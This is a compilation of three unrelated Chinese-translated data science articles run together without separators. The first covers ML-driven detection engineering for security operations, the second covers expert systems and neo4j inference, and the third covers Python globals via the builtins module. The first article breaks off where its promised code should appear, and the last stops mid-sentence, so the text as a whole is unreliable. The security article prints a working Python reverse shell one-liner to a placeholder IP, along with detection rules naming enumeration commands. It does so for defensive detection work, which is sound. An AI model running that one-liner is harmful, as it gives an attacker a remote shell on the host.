人工智能驱动的安全运营架构,具有低误报率
本文讨论了在应对网络安全需求时建立生产就绪的机器学习解决方案的思路
·
关注 发表于 Towards Data Science ·12 min 阅读·Apr 21, 2023
–
图 1. NL2Bash 数据 上的异常。 代码。安全分析人员希望在他们的仪表盘上避免看到这幅图片。作者提供的图片。
即使在今天,在一个使用了数十年的教育系统的完整性被 LLMs 侵蚀,并且 我们(终于)开始担忧 AGI 带来的 存在主义恐惧 的世界里,人工智能(AI)系统在非传统数据科学领域的适用性远未达到未来的里程碑,并且需要一种独特的方法。
在本文中,我们将进行关于 AI 在 网络安全 中适用性的概念讨论,为什么 大多数应用程序失败,以及 什么 方法实际上 有效。从推测的角度来看,所提供的方法和结论可以转移到其他具有低误报要求的应用领域,特别是那些依赖系统日志推理的领域。
我们将 不会 涉及 如何 在与信息安全相关的数据上实施机器学习(ML)逻辑。我已经在以下文章中提供了带有代码示例的功能实现:
-
基于幂律分布的企业安全遥测异常检测工程;
-
Shell 语言处理:在 Linux auditd 日志中使用 TF-IDF 和哈希编码进行入侵检测;
签名
即使在今天,成熟的 安全 状态的 根本 和 最有价值 的组成部分仍然是有针对性的 签名规则。像下面示例的启发式,是我们防御的一个重要部分:
parent_process == "wmiprvse.exe"
&&
process == "cmd.exe"
&&
command_includes ("\\\\127.0.0.1\\ADMIN")
老实说,像这样的规则非常好。这只是一个例子,(简化版) 逻辑 由红色金丝雀共享 用于通过 WMI 进行横向移动检测,可以通过像 impacket 这样的工具实现。绝不要关闭这样的规则,并继续不断增加!
但是这种方法存在漏洞…
这就是为什么每个首席信息安全官(CISO)时不时会花费资金、人力和时间资源在一个通过“机器学习”的魔力来解决安全问题的解决方案上。通常,这看起来像是一个投资回报低的兔子洞:(1)安全分析师的仪表盘亮得像圣诞树一样,见上图 Figure 1;(2)分析师感到警报疲劳;(3)ML 启发式被禁用或仅被忽略。
通用 vs. 狭义启发式
首先让我提请你注意 狭义 和 通用 智能的概念,因为这直接影响到安全启发式。
智能,广义上说,是实现目标的能力。人类被认为具有一般智能,因为我们能够“归纳”并实现那些在自然选择和遗传驱动的环境中不需要达到的目标,比如登月。
虽然归纳允许我们的物种征服了世界,但有些实体在某些狭窄任务上的表现远胜于我们。例如,计算器在算术方面比最聪明的我们如冯·诺依曼更为优秀,或者松鼠(!)在记忆去年隐藏的橡实位置方面显著超过人类。
图 2. 智能的示意图。图片由作者提供。
我们可以以类似的方式推理安全启发式方法。有些规则高度关注特定工具或 CVE,而有些规则尝试检测更广泛的技术集。例如,考虑这一检测逻辑,专注于sudo
权限提升,利用CVE-2019–14287:
CommandLine|contains: ' -u#'
相反,这个 webshell 检测规则(以隐去形式复制)尝试实现更广泛的逻辑:
ParentImage|endswith:
- '/httpd'
- '/nginx'
- '/apache2'
...
&&
Image|endswith:
- '/whoami'
- '/ifconfig'
- '/netstat'
它定义了一种更复杂的行为启发式方法,将常见 HTTP 服务器的父进程映射到枚举活动上。
类似于上述的智能景观,我们可以通过将检测规则映射到攻击技术、工具和程序(TTPs)的景观来可视化安全态势,如下所示:
图 3. 您的安全态势的示意图。注意漏洞,不要自满——您有更多漏洞。图片由作者提供。
假阳性与假阴性
Sudo CVE 规则仅检测一个特定技术,而忽略了所有其他(假阴性率极高)。相反,webshell 规则可能检测到一系列攻击性技术和来自 Kali Linux 工具箱的 webshell 工具。
显而易见的问题是——那么,为什么我们不使用几个广泛的行为规则来覆盖所有可能的 TTP?
因为它们带来假阳性……很多。
在这里,我们观察到假阳性与假阴性权衡。
尽管大多数组织可以直接复制粘贴 sudo CVE 规则并立即在他们的 SIEM 中启用,但 webshell 规则可能会在“仅监控”模式下运行一段时间,同时安全分析师会过滤掉他们环境中观察到的所有合法触发。
通过构建检测,安全工程师试图回答什么是 m̶a̶l̶i̶c̶i̶o̶u̶s̶̶ 不代表其环境的。
他们可能会看到系统管理员创建的自动化警报,这些警报会运行一个 REST API 请求,触发其中一个枚举操作,或者是一个 Ansible shell 脚本,当其部署时,会创建奇怪的父子进程关系。最终,我观察到广泛的行为规则变成了包含几十个排除项的列表,每月的编辑次数比活动代码库还要多。这就是为什么安全工程师在规则的广泛性和保持尽可能低的误报率之间做平衡。
机器学习作为安全启发式方法的失败
在这里,安全专业人员开始寻找替代技术来实施行为启发式。机器学习实现的要求是 a priori 宽泛的。鉴于机器学习算法的适用性,安全专业人员的直觉往往会引导他们走向无监督学习。我们要求人工智能 捕捉网络中的异常,对 异常命令行 发出警报,等等。这些任务处于“为我解决安全问题”的泛化水平。因此,生产环境中表现不佳也就不足为奇了。
实际上,机器学习往往正是按照我们要求的方式执行。它可能会报告一个异常的elevator.exe 二进制文件,这个文件是 IntelliJ 首次用来更新自身的,或者是一个新的 CDN,Spotify 开始使用以便更新,其延迟与 Command and Control 回调的抖动延迟完全一致。还有成百上千个类似的行为,这些行为在那一天都显得异常。
在监督学习的情况下,如果能够组装大量标记的数据集,例如 恶意软件检测,我们确实能够建立像 EMBER 这样的定性建模方案,这些方案能够很好地泛化。
但即使在这些解决方案中——现代人工智能模型在信息安全领域仍然没有足够广泛的背景来解析“灰色”区域。例如,我们应该将 TeamViewer 视为好还是坏?许多中小型企业将其用作廉价的 VPN。同时,一些中小型企业也是 勒索软件组织,利用这些工具对目标网络进行后门攻击。
机器学习作为安全启发式方法的成功
基于 ML 的启发式方法应遵循与基于规则的检测相同的理念——专注于特定的恶意 TTP 集。要在安全领域应用 AI —— 实际上你需要对安全有一些知识和直觉,抱歉数据科学家们。¯_(ツ)_/¯ 至少在今天,直到 LLM 实现广泛的泛化,它们可以协同解决安全挑战(以及许多其他任务)。
例如,与其要求命令行中的异常(并得到如本文图 1 所示的 634 个异常结果),不如要求围绕特定攻击技术的超出基线的活动——例如,异常的 Python 执行 (T1059.006) 和 哇! —— 在 相同 的 ML 算法、预处理和建模技术下,我们仅得到一个异常,即 Python 反向 shell:
图 4. Python 异常在 NL2Bash 数据集中由于恶意技术的扩展。异常报告 Python 反向 shell。代码。图片由作者提供。
有效的无监督 Unix 重点技术示例:
-
异常的 python/perl/ruby 进程(通过脚本解释器执行,T1059.006);
-
异常的 systemd 命令(通过 systemd 进程持久化,T1543.002);
-
高严重性跳板机的异常 ssh 登录源 (T1021.004)。
有效的无监督 Windows 重点技术示例:
-
在域控制器、MSSQL 服务器上登录的异常用户 (T1021.002);
-
加载 NTDLL.DLL 的异常进程 (T1129);
-
异常的 RDP 客户端和服务器组合的网络连接 (T1021.001)。
功能性监督 ML 基线示例:
-
反向 shell 模型:从已知方法生成数据集中的恶意部分(可以参考 类似生成器);使用环境遥测中的进程创建事件作为数据集的合法对照。
-
与其在思维中建立具有对抗混淆的稳健规则,如下图 5 所示(剧透:你不会成功),不如建立一个单独的 ML 模型,将混淆检测作为一种独立技术。这是 Mandiant 关于此主题的好文章。
图 5. 简单 cmd.exe 命令行混淆的示例。图片由作者提供。
机器学习是签名逻辑的扩展
为了系统化上述示例,成功应用机器学习启发式方法包括这两个步骤:
-
缩小输入数据范围,使其尽可能精确地捕捉特定 TTP 生成的遥测数据;
-
定义尽可能少的维度来寻找偏离基线的活动(例如,仅查看process.image的逻辑会比同时查看parent.process.image和process.args的逻辑产生更少的警报)。
上述步骤 1实际上是我们创建签名规则的方法。
你是否记得我们上面讨论过在启用 Web Shell 规则之前,“安全分析师过滤掉代表其环境的所有触发器”?这就是步骤 2。
在前面的例子中,一个人建立了合法活动和恶意活动之间的决策边界。这实际上是当代机器学习算法擅长的领域。机器学习启发式方法可以减轻手动过滤大量接近特定 TTP 的合法活动的负担。因此,机器学习允许以更少的工作构建比签名规则更广泛的启发式方法。
机器学习只是实现相同目标的另一种方式,是签名的扩展。
瑞士奶酪模型
现在我们准备勾勒出一个整体的愿景。
传统的检测工程方法是尽可能多地堆叠签名规则,而不至于溢出SOC仪表盘。这些规则中的每一个都有较高的假阴性率(FNR)但较低的假阳性率(FPR)。
我们可以进一步继续堆叠具有相同 FPR 要求的机器学习启发式方法——它必须保持低 FPR 以保护唯一的瓶颈:人工分析师的注意力。机器学习启发式方法通过引入更通用的行为逻辑来弥补基于规则的检测中的空白,而不会显著消耗安全工程师的时间资源。
如果你已经覆盖了大多数容易解决的问题并希望深入行为分析,可以在已有基础上引入深度学习逻辑。
图 6. 展示了使用不同技术实现相同目标的安全启发式的协作工作全景图。
记住奥卡姆剃刀原则,并尽可能简单地实现每个新启发式方法。除非签名规则无法定义可靠的基线,否则不要使用机器学习。
这个模型中的每一片段都应该有低假阳性率。你可以忽略高假阴性数量——为解决这个问题,只需添加更多片段。
例如,在上面的异常 Python 执行示例中——Python 参数在你的环境中可能仍然变化太大,会导致过多的异常活动警报。你可能需要进一步缩小范围。例如,仅捕捉命令行中包含-c
的进程,以查找作为 Python 二进制文件参数传递的代码,从而只专注于像这样的 Python 反向 shell 技术:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
由于我们降低了假阳性率(FPR),因此我们增加了假阴性。因此,你可能会错过执行具有不寻常名称的 Python 脚本,例如python fake_server.py
,攻击者可能会使用这些脚本来伪装成合法服务。为此,你可能需要创建一个专注于这一子集 TTPs 的单独启发式方法,但它自身的 FPR 较低。
元检测层
值得注意的是,即使遵循瑞士奶酪方法论,你也会得到冗长的启发式方法。通常,这些方法不代表先验的恶意性,但会关注上下文。
例如,从新源登录到高严重性主机的 SSH/RDP 并不是坏事(可能只是新员工或工作站),以及执行whoami /all
在熟练用户中可能很常见。因此,这两种启发式方法都不适合直接触发警报。然而,这两者的组合可能值得分析师关注。
解决这一困境的方法是在这种冗长的规则之上引入额外的逻辑,以产生“真正的正面结果”。我们可以称之为元检测层。
图 7. 包括专门解析冗长但有用规则的警报设置示意图。
应用于规则激活之上的元逻辑可能有所不同,但通常涉及两个步骤:
-
*“按组”*对所有由“实体”触发的事件进行分组,例如主机、用户名、源 IP、cookie 等。
-
对某个时间段内的激活应用“聚合函数”。
简单而有效的元检测逻辑示例:
-
只需计算来自单一实体(例如单一主机或用户)的不同规则触发次数,并报告是否超过阈值,例如在三小时内触发三条不同规则;
-
如上所述,但根据严重性对规则应用加权和,例如,“关键”规则计为 3,“中等”计为 2,“信息”计为 1——如果超过阈值则报告,例如总和 > 6;
存在更复杂的方法,例如在以下 AISec ’22 出版物中定义的方法,其中我在恶意软件表示上使用了第二层机器学习(ML)。这些方法应根据特定的应用和环境进行调整,因为数据特性、遥测量和基础设施规模可能需要不同的方法以保持在可接受的警报限度内。
结论
在本文中,我们讨论了在签名方法之外扩展安全操作工具库的思维模式。大多数实现都未能正确完成此操作,因为安全专业人员通过机器学习(ML)定义了过于广泛的行为启发式要求。
我们认为,正确的应用应该由攻击性技术、战术和程序(TTPs)驱动。在适当使用的情况下,机器学习技术可以节省大量的人力资源,有效地过滤出围绕特定 TTPs 的合法活动基线。
一个成熟且成功的安全姿态将结合签名和行为启发式,其中每个单独的检测逻辑都有低假阳性率,而缺失的假阴性被并行堆叠的多个启发式算法所弥补。
本文中的示例包括如果应用于传统安全操作的检测工程案例。然而,我们认为,经过有限修改的相同方法在其他安全应用中也会有用,例如 EDR/XDR 启发式空间、网络流量分析和计数。
附录
技术说明:在固定假阳性率下估算检测率
这是一个关于如何在生产环境中评估行为机器学习启发式算法效用的通知及代码示例。
数据科学家——忘记准确率、F1评分和AUC——这些对安全解决方案的生产准备性几乎没有信息。这些指标可以用来推理多个解决方案的相对效用,但不是绝对值。
这是因为安全遥测中的基准率谬误——基本上,你的模型看到的所有数据都是良性样本(直到它不是,这才是重要的)。因此,即使是*0.001%*的假阳性率,如果你的启发式算法每天执行 10 000 次检查,也会带来每天 10 个警报。
你模型的唯一真实价值可以通过查看**在固定假阳性率(FPR)下的检测率(即真实阳性率,TPR)**来估算。
请考虑下图——x-轴表示数据样本的真实标签。它要么是恶意的,要么是良性的。在y 轴上是模型的概率预测——它认为样本有多糟糕:
图 7. 在扩展的NL2Bash数据上的预测分布。代码。图片由作者提供。
如果你只能接受一个假警报,你必须将模型的决策阈值设置在大约0.75(虚线红色线),稍高于第二个假阳性。因此,模型的实际检测率大约是50%(虚线几乎与箱线图的均值重合)。
在给定有y_true(真实标签)和preds(模型预测)的情况下,可以通过下面的代码示例来评估在可变假阳性率下的检测率:
专家系统是否已经过时?
对近期趋势、使用案例和技术的回顾
·
关注 发表在 Towards Data Science ·12 分钟阅读·2023 年 3 月 16 日
–
引言
每个人都在谈论机器学习。这不仅仅是一种感觉:如果你在 Google 上搜索“机器学习”,你将获得近 7 亿条结果。但专家系统呢?传统上,它是 AI 的另一面。好吧,Google 至少返回了大约 700 万条结果,但这两个概念之间存在明显差距。这种不匹配也适用于 Google 搜索趋势:尽管机器学习(橙色线)的兴趣近年来显著增加,但可以得到的印象是专家系统(蓝色线)似乎已经被遗忘了。
Google 搜索趋势百分比(作者,数据来源于 Google)
所以这是否只是 AI 进化的结果(适者生存,希望不是“过于适者”……对不起,那个 AI 笑话;-)?专家系统真的过时了吗?还是在某些研究领域中,专家系统仍有存在的空间?我认为收集和分享一些发现和经验,以便为专家系统提供立场,是有意义的!
内容:
-
什么是专家系统?
-
专家系统在专题研究中是否相关?
-
专家系统的应用案例有哪些?
-
开发专家系统的现代技术有哪些?
什么是专家系统?
专家系统(ES)是一种软件,至少由一个知识(数据)库、一个与领域相关的规则集和一个能够推断新公理的推理引擎组成。之所以称之为 ES,是因为它在特定领域的表现类似于人类专家,例如能够回答与其专业领域相关的棘手问题。从应用角度来看,ES 有两类主要用户:a)持续审查和修改知识库的人类专家;b)寻求领域相关问题答案的最终用户。与通常称为“黑箱 AI”的深度学习方法相比,ES 的结果总是透明的:推理引擎通常提供逐步的结果解释,用户能够理解其逻辑结构。
专家系统在专题研究中是否相关?
为了澄清这个问题,如果专家系统确实已经过时,值得查看一下使用或至少提及专家系统的文献数量。为此,我在 Google Scholar 上做了一个简单的搜索,检查了 2005 年至 2022 年间包含“专家系统”术语的出版物数量。让我们提出以下工作假设:在选定的年份中,专家系统的出版趋势是负面的(以确认“专家系统已经过时”)。
现在让我们来看看数据显示了什么。我制作了一张图表,显示了每个时间段的出版物绝对数量和趋势线。该图表清楚地显示出出版趋势仍然是积极的。尽管文献检索非常高级且嘈杂,但我的期望是,如果该术语已经过时,ES 在专题文章中不会被提及;所以我们可以拒绝上述的假设。我们可以推断出 ES 仍然是重要的,并在研究中发挥着关键作用。
专家系统的研究趋势(作者)
专家系统的使用案例是什么?
那么,开发和提出专家系统的这些专题研究学科是什么?它们为哪些领域提供服务?它们满足哪些要求?专家系统在这些项目中的主要价值是什么?当然,这些都是通过系统文献综述来回答的重要问题,但现在,我只会展示三个已选项目,以展示专家系统的广度。
网络安全
ES 可以用于 IoT 生态系统的自动化安全评估。Rak 等人(2022)提出了一个专家系统,为每个识别的威胁生成威胁模型和攻击计划列表。专家系统提供的结果可以供渗透测试人员对目标 IoT 基础设施进行系统安全测试。
项目管理
Bhattacharya 等人(2022)提出了一个用于在复杂的监管和技术实施项目中进行决策的专家系统。例如,该专家系统验证项目是否满足启动条件,并根据项目类型和复杂性来定制项目计划。
临床决策支持
Chrimes(2023)提出了一个用于支持 COVID-19 临床决策的专家系统。该专家系统通过与用户进行交互(通过聊天机器人)来确定 COVID-19 感染的潜在严重程度或可能导致严重病例发展的生物系统反应和共病症。
专家系统的现代技术
特别是在纯研究项目中,我们经常看到 Protégé作为专家系统开发工具,也用于专题项目。该工具结合了知识存储(实体和对象属性)、规则(SWRL)、事实(个体)并提供预安装插件(HermiT)的推理引擎。我仍然认为 Protégé在教育和研究中很重要,特别是因为它是免费且易于入门的。但我不建议在工业项目中使用它,因为它在系统集成和用户界面设计方面有限制。在我看来,它是大学使用的工具,而不是公司使用的工具。
然而,现代工具中有一些具有 Protégé 部分功能的行业验证工具。最重要的是图形数据库,它们允许语义存储和语义分析信息。因此,在一定程度上,我们可以将本体表示为知识图谱。为此,neo4j 提供了一个名为“neosemantics”的 RDF 插件,它是 Protégé 中本体的数据模型标准。因此,我们可以在 Protégé 中创建本体并将其导出到 neo4j 以便进一步的软件集成。插件 neosemantics 也提供了推理引擎,不过,我们也可以通过 Cypher 来进行推理,Cypher 是 neo4j 的标准查询语言。
示例
那么推理或推断是什么?让我们看看以下由人员和性别组成的数据库。我们看到有一些关系指示一个人的性别(在简化的二元世界中)为“IS_A”,以及人员节点之间的家庭关系为“IS_Parent”。
初始数据库(作者)
现在我们可以区分显式存储的知识和传递知识。显式知识是我们在图中看到的内容,以及我在上面的段落中描述的内容。然而,从我们日常经验中我们知道,根据这些可用的信息,这些人员之间还有更多关系:兄弟姐妹、祖父母、叔叔等。与其手动搜索和/或输入数据库中的所有这些关系,不如使用推理技术自动创建这些知识。
祖父母
让我们从一个简单的开始:祖父母是一个人的父母的父母。因此在我们的图形数据库中,我们寻找的是多级的“IS_Parent”关系,如 PersonA →PersonB →PersonC。在这种情况下,我们可以说 PersonC 是 PersonA 的孙辈,而 PersonA 是 PersonC 的祖父母。我们可以通过以下通用语句推断出这一信息:
MATCH (a:Person)-[:IS_Parent]->(b:Person)-[:IS_Parent]->(c:Person)
return a.name as grandparent, c.name as grandchild
这个声明的结果显示在下面的截图中。我们看到 Max 和 Anna 都是 Betty 的孙辈。为什么?因为 Betty 是 Franz 的父母,而 Franz 是 Max 和 Anna 的父母。
祖父母结果(作者)
兄弟姐妹
另一种类型的传递知识是兄弟姐妹关系。我们在寻找有相同父母的人员,这意味着我们在寻找 PersonA ←PersonB 和 PersonC ←PersonB 的共同“IS_Parent”关系。我们可以通过以下语句查询这些信息:
MATCH (a:Person)<-[:IS_Parent]-(b:Person),
(c:Person)<-[:IS_Parent]-(b:Person)
return distinct a.name as sibling_a, c.name as sibling_b
这个声明的结果显示在下面的截图中。我们看到 Max 和 Anna 是兄弟姐妹。由于匹配查询适用于两种视角,我们得到两个结果记录。这在技术上也是有效的,因为 neo4j 不支持双向或非定向关系。如果 Anna 是 Max 的兄弟姐妹,而 Max 又是 Anna 的兄弟姐妹,那么我们就有两个独立的关系。
兄弟结果(作者)
持久化传递知识
对于这种按需查询的用例是存在的,但也有其他用例中,我们希望将新的传递知识存储到数据库中。如果多个用户同时使用数据库,这特别有用——在这种情况下,隐藏任何可能对业务相关的传递知识是没有意义的。在这种情况下,我们可以使用合并子句创建节点之间的新(唯一)关系,如以下语句所示:
Match (a:Person)<-[:IS_Parent]-(b:Person),
(c:Person)<-[:IS_Parent]-(b:Person)
Merge (a)-[r:IS_SIBLING]->(c)
注意:除了新的关系之外,我们还可以推断并保存新的节点、标签和属性。
如果我们查询整个数据库,我们会看到安娜和马克斯之间额外的“IS_SIBLING”关系:
修改后的数据库(作者)
应该强调的是,这种手动推理类型不考虑前向/后向推理,这些通常是推理引擎所需的功能,例如支持复杂的定理证明。因此,如果你对这些功能感兴趣,可以从这里(一般介绍)和这里(使用 neo4j 进行推理)开始阅读。
自学习专家系统
现在的问题是,我们作为人类是否总是需要事先知道这些规则,或者是否需要手动准备我们想要查询的规则以提取传递知识。简短的答案是:不!这使我们看到数据驱动的机器学习和基于规则的专家系统这两个通常分开的领域之间的有趣联系:我们可以应用决策树从经验数据中建立规则,这些规则仍然是“白盒”的,因为它们对用户是透明的。决策树不限于图数据库,Python 中的 scikit-learn 库需要将数据结构从图结构转换为扁平结构,例如 pandas 数据框——所以我们现在忽略图模型,直接跳到我们有一个包含选定数字特征的扁平数据框的地方。
假设我们为一个汽车销售商工作,我们想要建立一个专家系统,告诉销售人员某个访客是否可能购买汽车。我们可以使用历史销售数据来推导出从以前购买决定中得到的规则,而不是根据自己的经验开发规则。这是我们在讨论决策树时应注意的:我们处理的是概率。即使树预测一个人可能会买车,也不意味着这个人真的会买车。我们可以在下面的图中看到汽车销售商的决策树分类的可能结果。
汽车销售商的决策树分类(作者)
除了图形表示,我们还可以提取新的决策规则,以逻辑“if-then”格式呈现,如这篇文章所述。
if (Age <= 44.5) and (Annual Salary <= 90750.0) and (Annual Salary <= 69750.0) then class: No Purchase (proba: 100.0%) | based on 258 samples
if (Age <= 44.5) and (Annual Salary <= 90750.0) and (Annual Salary > 69750.0) then class: No Purchase (proba: 89.02%) | based on 173 samples
if (Age > 44.5) and (Age > 47.5) and (Annual Salary > 41750.0) then class: Purchase (proba: 82.78%) | based
on 151 samples
if (Age > 44.5) and (Age > 47.5) and (Annual Salary <= 41750.0) then class: Purchase (proba: 98.46%) | based on 65 samples
if (Age <= 44.5) and (Annual Salary > 90750.0) and (Annual Salary <= 119750.0) then class: Purchase (proba:
67.35%) | based on 49 samples
if (Age <= 44.5) and (Annual Salary > 90750.0) and (Annual Salary > 119750.0) then class: Purchase (proba: 97.67%) | based on 43 samples
if (Age > 44.5) and (Age <= 47.5) and (Annual Salary > 53250.0) then class: No Purchase (proba: 50.0%) | based on 34 samples
if (Age > 44.5) and (Age <= 47.5) and (Annual Salary <= 53250.0) then class: Purchase (proba: 85.19%) | based on 27 samples
假设我们已经验证了这个决策树模型,并将其集成到用户界面中,那么汽车销售员可以输入一些个人访客信息,以获得一个响应,告诉他这个访客是否可能会买车。让我们查看以下示例:
a) 如果一个潜在客户进入商店,具有以下属性:女性,年龄=28 岁,年薪=78,000 — 这个人可能会买车吗?→ 我们的决策树说:不(标记为“0”)。
b) 如果一个潜在客户进入商店,具有以下属性:男性,年龄=28 岁,年薪=118,000 — 这个人可能会买车吗?→ 我们的决策树说:是的(标记为“1”)。
我们看到,这样的系统将提供类似于传统专家系统的功能,适用于这个汽车销售领域。好处在于,这种基于决策树的专家系统能够从新数据中学习,从而不断改进规则。然而,我们需要记住,这种类型的专家系统依赖于概率,因此响应通常不是 100%准确的。与传统专家系统不同,传统专家系统由于应用了逻辑推理,响应在逻辑上是准确的(至少如果基本公理正确的话)。但我们需要考虑建立和维护知识库和规则的高手动成本,同时也需要考虑即使是专家也可能犯错,这需要额外的验证工作。因此,最终这是一种维护效率与预测质量之间的权衡。
结论
在定义了什么是专家系统之后,我们看到专家系统仍在使用、开发或至少在研究出版物中被引用,且出版趋势甚至是积极的。从这个角度来看,我们可以清楚地回答最初的问题:专家系统已经死了吗?没有!我们讨论了几个主题项目及其领域,以了解专家系统的广度。最后,我们讨论了一些图形数据库的特性,由 neo4j 代表,来执行通常与专家系统相关的任务。这些关键任务一方面是显性知识的语义存储,另一方面是基于规则的新传递知识推理。当然,neo4j 在数据存储和分析方面提供了更多功能,但我认为,上述简单示例足以理解 neo4j 作为专家系统一部分的知识库的能力。此外,我们还简要讨论了如何通过决策树从数据中构建规则,从而允许开发自学习的专家系统。
那么,我们什么时候应该考虑应用专家系统(ES)?
-
在我们尚未拥有数据的情况下无法使用机器学习模型。例如:在没有可靠参考产品的情况下,开发和验证新产品发布的资格计划。
-
在我们受规则驱动且已知规则已经静态且不由数据驱动的情况下。例如:根据其他详细信息推断业务定义的分类主数据,例如生产机器的特定结构和设置。
-
在我们拥有数据并希望使用和理解决策规则的情况下,并且我们知道规则可能会随时间变化。我们可以使用决策树,而不是手动开发和维护规则。例如:基于经验数据理解和推断客户行为。
结尾附上一个有趣的事实:我问了 ChatGPT,它不认为自己是一个专家系统,因为它没有针对特定领域进行训练以提供专家级建议。
来源
Bhattacharya, K., Gangopadhyay, S., DeBrule, C. (2021). 复杂的监管和技术实施项目中的决策专家系统设计。收录于:Chakrabarti, A., Poovaiah, R., Bokil, P., Kant, V. (编辑) 未来设计——第 3 卷。智能创新、系统与技术,第 223 卷。Springer,Singapore。doi.org/10.1007/978-981-16-0084-5_50
Chrimes, D. (2023). 将决策树作为 COVID-19 临床决策支持的专家系统。Interact J Med Res 2023; 12:e42540
URL:www.i-jmr.org/2023/1/e42540
。 DOI: 10.2196/42540
Rak, Massimiliano & Salzillo, Giovanni & Granata, Daniele. (2022). ESSecA:一个用于物联网生态系统的威胁建模和渗透测试的自动化专家系统,《计算机与电气工程》,第 99 卷,2022,107721,ISSN 0045–7906,doi.org/10.1016/j.compeleceng.2022.107721
。
Python 中的全局变量真的全局吗?
原文:
towardsdatascience.com/are-globals-in-python-really-global-492f1e4faf9b
PYTHON 编程
学习一个技巧,使 Python 对象真正成为全局的。
·发表于Towards Data Science ·阅读时间 8 分钟·2023 年 11 月 17 日
–
真正的全局变量意味着可以从任何地方访问。照片由Markus Spiske拍摄,来源于Unsplash
Python 是否提供全局变量?
直接的回答是,Python 确实提供了全局变量。确实,只需查看Python 官方文档即可了解到…
在 Python 中,仅在函数内部引用的变量是隐式全局的。如果一个变量在函数体内的任何地方被赋值,默认假设它是局部变量,除非明确声明为全局变量。
所以,Python 确实提供了全局变量。更重要的是,全局变量构成了一个相当有争议的话题,因为使用它们可能会给开发者和用户带来严重的困难。
你可能会想,为什么我们要使用这么有争议的编程工具。这是一个合理的问题——但答案很简单。全局变量是编程工具之一,只要正确使用,它们可以非常有用。然而,如果使用不当,它们可能会带来更多的坏处而非好处。
全局变量是编程工具之一,只要正确使用,它们可以非常有用。然而,如果使用不当,它们可能会带来更多的坏处而非好处。
全局变量可以从程序中的任何地方访问。因此,如果你需要一个特定对象在任何地方都能访问——这就是你创建全局对象的原因。
你可以创建在程序执行期间不改变的全局常量;以及可以改变的全局变量。因此,全局常量是字面值。例如,可以是公司的名称、圆周率的值或任何数学常量。全局变量可以是价格、需求或颜色;这些值可以改变,这就是它们是变量的原因。
Python 的命名约定如下:全局常量使用大写字母(PI
),全局变量使用小写字母(price
)。
全局变量是编程中的一个典型话题,但这并不意味着它们在每种编程语言中都表现相同。Python 中的全局变量有其自身的特殊性,任何 Python 开发者都必须了解它们的工作方式。
在本文中,我们将探讨什么构成全局变量的本质:全局作用域。我会向你展示在 Python 上下文中全局的含义,以及我们通常认为的 Python 中的全局变量并不一定是真正的全局。
我们还将分析这个问题的影响——我会展示如何在编码实践中利用这些知识。这需要知识、技能和——最重要的是——谨慎,因为这些是相当微妙的事项,容易导致重大错误。
什么是全局变量?
本文旨在探讨全局变量的本质:全局作用域。全局变量具有全局作用域,其值可以改变,而全局常量则具有全局作用域,其值不可改变。
我们将讨论是否在 Python 程序中使用全局变量的事宜留到另一天。首先,这是一个如此重要的话题,值得我们全神贯注,因此值得一篇专门的文章。其次,讨论这些内容时,我们需要了解更多关于 Python 中的全局作用域的知识,这是本文所介绍的。
全局变量一般
正如 Tony Gaddis 在他的书籍中解释的,全局变量可以在程序中的所有模块中使用。换句话说,全局作用域是整个程序,因此全局变量或常量可以在程序的每个模块中使用。
这是一个非常简洁的解释,但这正是我们所需的,因为全局变量的定义并不复杂。
Python 中的全局变量
你会发现 Python 中的全局定义更复杂。有趣的是,官方 Python 文档对全局变量的描述并不多。你可以阅读我上面链接的小节,也可以阅读the [global](https://docs.python.org/3/reference/simple_stmts.html#the-global-statement)
statement itself。你还应该注意PEP8中的这一点,其中样式指南解释了全局变量的命名约定:
希望这些变量仅用于一个模块内部。
换句话说,希望全局变量是用于模块级别,而不是完全的全局级别。
问题是,你知道如何使用 Python 中真正全局的对象吗?在接下来的部分,我将向你展示它们是什么以及如何使对象在整个程序中全局。这样的对象在特定的 Python 会话中可以从任何模块访问,而无需导入,就像sum
、list
和许多其他对象一样,它们在不实际导入的情况下就可以使用。
模块全局作用域
模块全局作用域就是字面上的意思:特定模块的全局作用域。最好通过一个例子来展示这一点:
# module_scopes.py
# define globals
COMPANY_NAME = "The Global Bindu Company"
year = 2023
# use globals in a function
def represent():
return f"{COMPANY_NAME} in {year}"
好吧,那么我们有什么呢?首先,我们有两个全局对象:
-
COMPANY_NAME
— 一个全局常量 -
year
— 一个全局变量
然后我们有一个函数represent()
,它使用了这两个全局变量。让我们看看它的实际效果:
>>> import module_scopes
>>> module_scopes.represent()
The Global Bindu Company in 2023
>>> module_scopes.year = 2024
>>> represent()
The Global Bindu Company in 2024
你刚刚看到的是 Python 中通常理解的全局作用域:模块全局作用域。现在是时候继续讨论程序全局作用域了。
程序全局作用域
在 Python 中,唯一可以从所有模块访问的全局变量是那些在builtins
模块中的变量。
它包含了例如上述提到的sum
和list
对象以及许多其他对象,如异常(例如,ValueError
或Exception
)或各种函数(例如,any
或all
)。所以,基本上,任何通过builtins
模块提供的东西都可以在 Python 会话中的所有模块中使用。
现在,进行我们的简单小技巧。如果你对 Python 不陌生,你可能已经自己想到这个方法了。如果你想让一个对象成为全局的,只需将其添加到builtins
模块中。这会立即使该对象在会话中的所有模块中可用,而无需导入任何内容。当然,我们说的是特定的会话,即对象已被添加到builtins
作用域的会话。
如果你想让一个对象成为全局的,只需将其添加到
builtins
模块中即可。
让我们看看这个技巧是如何工作的。首先,创建一个main.py
模块:
# main.py
import builtins
builtins.SCREAM = "SCREAM!!!"
现在创建另一个模块,use.py
,位于同一目录下:
# use.py
def scream(n: int) -> str:
return SCREAM * n
正如你所见,scream()
函数使用了 SCREAM
对象,即使它在 use
模块中既没有定义也没有导入。我们确切知道的是,它在 main
模块中的 builtins
模块中被定义并添加。这样会有效吗?
首先,请注意 Pylance 不会喜欢在 use
模块中使用 SCREAM
对象:
Pylance 并不知道 SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
[mypy](https://mypy.readthedocs.io/en/stable/)
也不会喜欢:
[Mypy](https://mypy.readthedocs.io/en/stable/)
并不知道 SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
那么,这是否被认为是静态错误呢?
即使我们能让它动态运行,这也是一个静态错误,因为是否能正常工作取决于导入的顺序。如果你只是导入use
并运行scream()
函数,你将会遇到一个错误:
use.scream(2)失败:SCREAM 未定义。截图来自 Visual Studio Code,作者提供
但是,如果你先导入main
然后再导入use
